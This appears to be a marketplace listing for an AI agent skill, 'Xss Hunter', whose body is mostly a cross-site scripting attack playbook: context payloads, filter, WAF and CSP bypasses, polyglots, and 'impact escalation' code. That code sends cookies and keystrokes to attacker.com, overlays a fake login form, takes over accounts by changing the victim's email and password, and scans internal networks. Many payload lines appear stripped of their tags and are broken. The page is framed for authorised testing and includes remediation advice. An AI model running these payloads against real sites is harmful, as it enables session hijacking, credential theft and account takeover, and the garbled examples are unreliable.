AgentStack
SKILL unreviewed MIT Self-run

Xss Hunter

skill-rifteo-skills-xss-hunter · by Rifteo

Complete XSS testing methodology reflected, stored, DOM-based, blind, and mutation XSS, CSP bypass, DOM clobbering, filter/WAF evasion, and impact escalation. Trigger when the user asks to test for XSS or cross-site scripting (reflected, stored, DOM-based, blind, mutation), wants to bypass XSS filters/WAF rules/CSP, identifies a reflection point and needs the right payload, pastes HTML/JS that re…

No reviews yet
0 installs
11 views
0.0% view→install

Install

$ agentstack add skill-rifteo-skills-xss-hunter

Open-source listing — not yet scanned by AgentStack. Follow the source repository for install instructions.

Security review

⚠ Flagged

1 finding(s); flagged for manual review. · v0.1.0 How review works →

  • Prompt-injection patterns
  • Secret / credential exfiltration
  • Dangerous shell & filesystem operations
  • Untrusted network calls
  • Known-malicious package signatures
  • high Dangerous shell/eval execution.

What it can access

  • Network access Used
  • Filesystem access No
  • Shell / process execution No
  • Environment & secrets No
  • Dynamic code execution Used

From automated source analysis of v0.1.0. “Used” means the capability is present in the source — more access means more to trust, not that it’s unsafe.

Are you the author of Xss Hunter? Claim this listing to set pricing, connect Stripe payouts, and keep 70% of every sale.
Sign up to claim

About

XSS Attack Methodology

XSS occurs when user-controlled input is rendered in a browser without proper sanitization or encoding, allowing arbitrary JavaScript execution in the victim's context.

Before testing anything — understand the injection context: The payload you need depends entirely on where your input lands in the page source. Always view source or open DevTools after injecting a canary string (xsstest123) to locate where it appears.

HTML body:       xsstest123             →  or 
HTML attribute:     → " onmouseover= or ">
JS string:       var x = "xsstest123";        → ";alert(1)//
JS template:     `Hello xsstest123`           → ${alert(1)}
URL/href:        href="xsstest123"            → javascript:alert(1)
CSS:             style="color:xsstest123"     → expression(alert(1)) [IE]

Attack Index

| # | Type | Description | |---|------|-------------| | 1 | Reflected XSS | Input reflected immediately in response | | 2 | Stored XSS | Input persisted and rendered for other users | | 3 | DOM-based XSS | Input processed by client-side JS into a dangerous sink | | 4 | Blind XSS | Execution happens in a context you can't see (admin panel, logs) | | 5 | Filter & WAF Evasion | Bypass blacklists, sanitizers, WAF rules | | 6 | CSP Bypass | Exploit weak Content-Security-Policy headers | | 7 | Mutation XSS (mXSS) | Browser mutation turns safe markup into executable XSS | | 8 | DOM Clobbering | Overwrite JS variables using named HTML elements | | 9 | Impact Escalation | Session hijack, credential theft, keylogging, CSRF |


Phase 1 — Reconnaissance: Find All Input Surfaces

Cast a wide net before injecting anything.

1.1 URL Parameters

GET /search?q=test
GET /page?id=1&ref=home
GET /profile?user=alice

1.2 Form Fields

  • Search bars, login forms, registration, comments, bio fields, file name inputs
  • Hidden fields: ``

1.3 HTTP Headers (often reflected in error pages)

Referer: https://attacker.com/alert(1)
User-Agent: alert(1)
X-Forwarded-For: alert(1)
X-Original-URL: /">alert(1)

1.4 JSON / API Responses rendered in UI

  • API response fields that get injected into the DOM via innerHTML
  • Username, display name, bio, address fields stored in API and rendered later

1.5 File Uploads

  • Upload an SVG with embedded JS: alert(1)
  • Upload HTML file if allowed
  • Filename itself: ">.png

1.6 DOM Sources (for DOM XSS)

// Sources — user-controlled entry points into JS
location.href / location.search / location.hash
document.referrer
document.URL
window.name
postMessage data
localStorage / sessionStorage (if populated from URL)

Attack 1 — Reflected XSS

What: Input is reflected in the HTTP response immediately without being stored.

Step 1 — Inject a canary to locate reflection:

GET /search?q=xsstest123

View source → find xsstest123 → note the surrounding context.

Step 2 — Choose payload for context:


alert(document.domain)

" onmouseover="alert(document.domain)
" autofocus onfocus="alert(document.domain)
">

";alert(document.domain)//
'-alert(document.domain)-'
\';alert(document.domain)//

${alert(document.domain)}

javascript:alert(document.domain)
data:text/html,alert(document.domain)

alert(document.domain)

Step 3 — Confirm: observe alert box with document.domain. Always use document.domain (not 1) to prove the execution origin.


Attack 2 — Stored XSS

What: Input is saved server-side and rendered to other users — higher impact than reflected.

High-value injection points:

  • Comment/review fields
  • Profile fields (name, bio, address, job title)
  • Chat / messaging features
  • Support ticket subject/body
  • Product/listing names and descriptions
  • Notification text
  • File/folder names in cloud storage UIs

Testing approach:

  1. Inject a payload in the field and save
  2. View the page as a different user (or in a fresh session)
  3. If payload executes — confirm stored XSS

Persistent payload (survives page reload):


document.location='https://your-collaborator.net/?c='+document.cookie

Check all consumers: a stored payload in a profile field may execute on:

  • /profile/alice (public)
  • /admin/users/alice (admin panel) ← highest impact
  • Email notifications (if HTML email)
  • API response consumed by another frontend

Attack 3 — DOM-Based XSS

What: The server response is safe, but client-side JavaScript reads from a source and writes to a dangerous sink without sanitization.

Common dangerous sinks:

element.innerHTML = userInput;          // most common
element.outerHTML = userInput;
document.write(userInput);
document.writeln(userInput);
element.insertAdjacentHTML('...', userInput);
eval(userInput);
setTimeout(userInput, 0);
setInterval(userInput, 0);
new Function(userInput)();
location.href = userInput;              // XSS via javascript:
location.assign(userInput);
location.replace(userInput);
element.src = userInput;
element.setAttribute('href', userInput);
jQuery(userInput);                      // jQuery XSS
$.parseHTML(userInput);

Testing approach:

  1. Find parameters that appear in client-side JS (hash, search, name)
  2. Inject into URL hash/fragment (not sent to server, bypasses server WAF):

`` https://target.com/page# https://target.com/page?returnUrl=javascript:alert(1) ``

  1. Search JS files for dangerous sinks and trace data flow back to sources

Hunt for DOM XSS in JS files:

# Find innerHTML/eval usage in JS bundles
curl -s https://target.com/app.js | grep -E "innerHTML|outerHTML|document\.write|eval\(|setTimeout\(|location\.href"

# Use Burp DOM Invader (embedded browser extension)
# Use dalfox with --deep-domxss flag
dalfox url "https://target.com/search?q=test" --deep-domxss

Attack 4 — Blind XSS

What: The XSS fires in a context you cannot directly observe — admin panel, internal dashboard, log viewer, support ticket system, PDF renderer, email client.

Strategy: use an out-of-band callback payload that phones home when it executes.

Payload with full context capture:

// Self-contained OOB payload — captures URL, cookies, DOM, IP

var d=document;
fetch('https://your-collaborator.net/xss?'+new URLSearchParams({
  url: d.location.href,
  cookie: d.cookie,
  dom: d.documentElement.innerHTML.substring(0,500),
  ua: navigator.userAgent
}));

Compact versions for length-limited fields:

Tools for blind XSS:

  • XSS Hunter (xsshunter.trufflesecurity.com) — generates unique payloads per target, captures full page screenshot + DOM + cookies when fired
  • Burp Collaborator — simple OOB DNS/HTTP callback
  • interactsh — open-source OOB server: interactsh-client generates a unique URL

Where to inject blind XSS:

  • Support ticket / bug report forms
  • Feedback widgets
  • User-agent or X-Forwarded-For headers (logged in dashboards)
  • Order notes / shipping address (rendered in admin order view)
  • Username (may appear in audit logs or admin user list)

Attack 5 — Filter & WAF Evasion

When basic payloads are blocked, work through these techniques systematically.

5.1 Case Variation

alert(1)

5.2 Tag Alternatives (when `` is blocked)


  ">

5.3 Encoding Bypasses


click

%253Cscript%253Ealert(1)%253C/script%253E

\u0061lert(1)
\u{61}lert(1)

alert(1)

alert(1)
alert(1)

5.4 JavaScript Obfuscation

// Avoid "alert"
confirm(1)
prompt(1)
console.log(1)   // safer for detection proof
window['al'+'ert'](1)
(a=alert)(1)
top['al\x65rt'](1)
eval('ale'+'rt(1)')
Function('alert(1)')()
[].constructor.constructor('alert(1)')()

// Avoid parentheses (some WAFs)
alert`1`
throw onerror=alert,1337

// Avoid quotes
String.fromCharCode(88,83,83)
/XSS/.source

5.5 Polyglot Payloads (test multiple contexts at once)

// Works in HTML, attribute, and JS string contexts
javascript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//\x3csVg/\x3e

// Gareth Heyes polyglot
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcliCk=alert() )//%0D%0A%0d%0a//

// Short universal polyglot
">'>

5.6 WAF-Specific Bypasses

# Cloudflare — use less common tags + encoding

click

# ModSecurity — split across parameters (HPP)
GET /search?q=alert(1)

# Filter that strips  once — double nesting
ipt>alert(1)ipt>

# Filters checking for "javascript:" — use tab/newline

Attack 6 — CSP Bypass

Check CSP header first:

curl -s -I https://target.com | grep -i content-security-policy

6.1 Unsafe Directives — Instant Win

script-src 'unsafe-inline'   → inline  works directly
script-src 'unsafe-eval'     → eval(), setTimeout(string) work
script-src *                 → load script from any domain

6.2 Whitelisted CDN Abuse (JSONP / Angular)

If script-src whitelists a CDN that hosts JSONP endpoints or AngularJS:


{{constructor.constructor('alert(1)')()}}

6.3 script-src-elem vs script-src mismatch

Some browsers fall back differently — try ` if script-src-elem` is not set.

6.4 base-uri not set → base tag injection

6.5 default-src without script-src

If only default-src is set, object-src and script-src may not be restricted:

alert(1)">

6.6 Nonce/hash leak

If script-src 'nonce-abc123' is used:

  • Check if the nonce is static (doesn't change per request)
  • Check if nonce is reflected elsewhere in the page
  • Check if nonce is predictable

Attack 7 — Mutation XSS (mXSS)

What: The browser's HTML parser mutates apparently safe markup into something executable when assigned via innerHTML.

Classic mXSS payload:


">

">

When to try mXSS: when the app uses DOMPurify


**Double clobbering (clobber a property of a property):**
```html

When to use: when JS references window.X or document.X that isn't explicitly declared, and those values are used in security decisions or URL construction.


Attack 9 — Impact Escalation

After confirming XSS executes, demonstrate real-world impact.

9.1 Cookie Theft (Session Hijacking)

// Exfiltrate cookies
fetch('https://attacker.com/steal?c=' + btoa(document.cookie))

// Via image (no CORS)
new Image().src = 'https://attacker.com/steal?c=' + encodeURIComponent(document.cookie)

// Via XSS Hunter payload (captures everything)

9.2 Credential Harvesting (Phishing via XSS)

// Inject fake login overlay on the page
document.body.innerHTML = `

  
    Session expired — please log in again
    
    
    Login
  
`;

9.3 Keylogging

document.addEventListener('keydown', e => {
  fetch('https://attacker.com/keys?k=' + encodeURIComponent(e.key));
});

9.4 CSRF via XSS (bypass SameSite / CSRF tokens)

// XSS can read the CSRF token from the page, then use it
const token = document.querySelector('[name=csrf_token]').value;
fetch('/api/admin/delete-user', {
  method: 'POST',
  credentials: 'include',
  headers: {'Content-Type': 'application/json', 'X-CSRF-Token': token},
  body: JSON.stringify({user_id: 1})
});

9.5 Account Takeover via XSS

// Change victim's email/password using their authenticated session
fetch('/api/account', {
  method: 'PATCH',
  credentials: 'include',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify({email: 'attacker@evil.com', password: 'hacked123'})
});

9.6 Internal Network Scanning (pivot via XSS)

// Scan internal IPs from victim's browser
['192.168.1.1','192.168.1.254','10.0.0.1'].forEach(ip => {
  fetch(`http://${ip}/`, {mode: 'no-cors'})
    .then(() => fetch('https://attacker.com/?alive=' + ip));
});

Quick Recon Checklist

Before injecting payloads, run this:

# 1. Find all parameters with Wayback/gau
gau target.com | grep "=" | sort -u

# 2. Check CSP header
curl -s -I https://target.com | grep -i "content-security-policy"

# 3. Automated parameter discovery
paramspider -d target.com

# 4. Fast XSS scan (dalfox)
dalfox url "https://target.com/search?q=test"

# 5. Check response headers for X-XSS-Protection (legacy)
curl -s -I https://target.com | grep -i "x-xss"

# 6. JS file audit — find dangerous sinks
cat app.js | grep -E "innerHTML|document\.write|eval\(|location\.href\s*="

Report Structure

Title: [Stored/Reflected/DOM] XSS on [endpoint/feature]

Severity: [Critical (stored+admin), High (stored), Medium (reflected), Low (self-XSS)]

Affected endpoint: [METHOD] [URL] — parameter: [name]

Steps to reproduce:
1. [Setup: log in as X, navigate to Y]
2. Inject the following payload into [field]: [PAYLOAD]
3. [Trigger: submit form / visit URL / wait for admin to view]
4. Observe: JavaScript executes — alert shows [document.domain]

Impact:
- [Describe: cookie theft / session hijack / account takeover / CSRF]
- [Affected users: all visitors / admin users / specific role]

Evidence:
- Screenshot of alert box showing document.domain
- HTTP request/response showing reflection or storage
- For stored: show two different sessions — inject + trigger

Remediation:
- Encode all user output for its context (HTML encode for HTML, JS encode for JS)
- Use textContent instead of innerHTML where possible
- Implement a strict Content-Security-Policy
- Use a security-tested sanitizer (DOMPurify) for HTML rendering
- Set HttpOnly on session cookies to limit theft impact

Scripts

scripts/xss_agent.py

Requires: pip3 install requests

# Reflected XSS — Bearer token auth
python3 scripts/xss_agent.py https://target.com \
  --token "eyJ..." \
  --params "/search?q=FUZZ" "/profile?name=FUZZ"

# Reflected XSS — Cookie auth
python3 scripts/xss_agent.py https://target.com \
  --cookie "session=abc" \
  --params "/search?q=FUZZ"

# Stored XSS test
python3 scripts/xss_agent.py https://target.com \
  --token "eyJ..." \
  --submit-endpoint /api/comments \
  --display-endpoint /comments \
  --field body \
  -o report.json

The script automatically: checks CSP headers → injects a canary to find reflection → detects context (HTML body / attribute / JS string) → selects matching payloads → confirms execution → outputs a JSON report.


Reference Files

  • references/payloads.md — payload list by context
  • references/tools.md — dalfox, XSStrike, Burp usage

Source & license

This open-source skill is cataloged on AgentStack and links to its original source — we do not rehost the code.

Install and usage instructions live in the source repository linked above.

Reviews

No reviews yet — be the first.

Versions

  • v0.1.0 Imported from the upstream source.